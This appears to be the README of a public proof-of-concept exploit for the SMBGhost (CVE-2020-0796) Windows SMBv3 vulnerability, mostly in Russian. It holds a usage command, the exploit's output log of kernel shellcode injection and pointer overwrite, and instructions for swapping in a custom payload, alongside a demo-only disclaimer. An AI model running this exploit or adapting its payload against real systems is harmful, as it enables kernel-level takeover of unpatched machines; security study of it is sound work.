chompie1337/smbghost_rce_pocЭксплойт удаленного выполнения кода для CVE-2020-0796 (SMBGhost), targeting уязвимость сжатия SMBv3 в Windows с внедрением шелл-кода в ядро.
RCE PoC для CVE-2020-0796 "SMBGhost"
Только для демонстрационных целей! Используйте только как справочный материал. Серьёзно. Этот код не тестировался за пределами моей лабораторной среды. Он был написан быстро и требует доработки для повышения надёжности. Иногда возникает BSOD. Использование этого кода в каких-либо целях, кроме самообразования, — крайне плохая идея. Ваш компьютер загорится. Щенки погибнут.
А теперь, когда с этим покончено...
Пример использования:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
Замените полезную нагрузку в USER_PAYLOAD в файле exploit.py. Максимум 600 байт. Если нужно больше — модифицируйте шелл-код ядра самостоятельно.
Код lznt1 отсюда: here. Был изменён для добавления функции «плохого сжатия», чтобы повредить заголовок буфера SRVNET без краха.
Отличный разбор от Ricera Security с деталями использованных мной методов: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html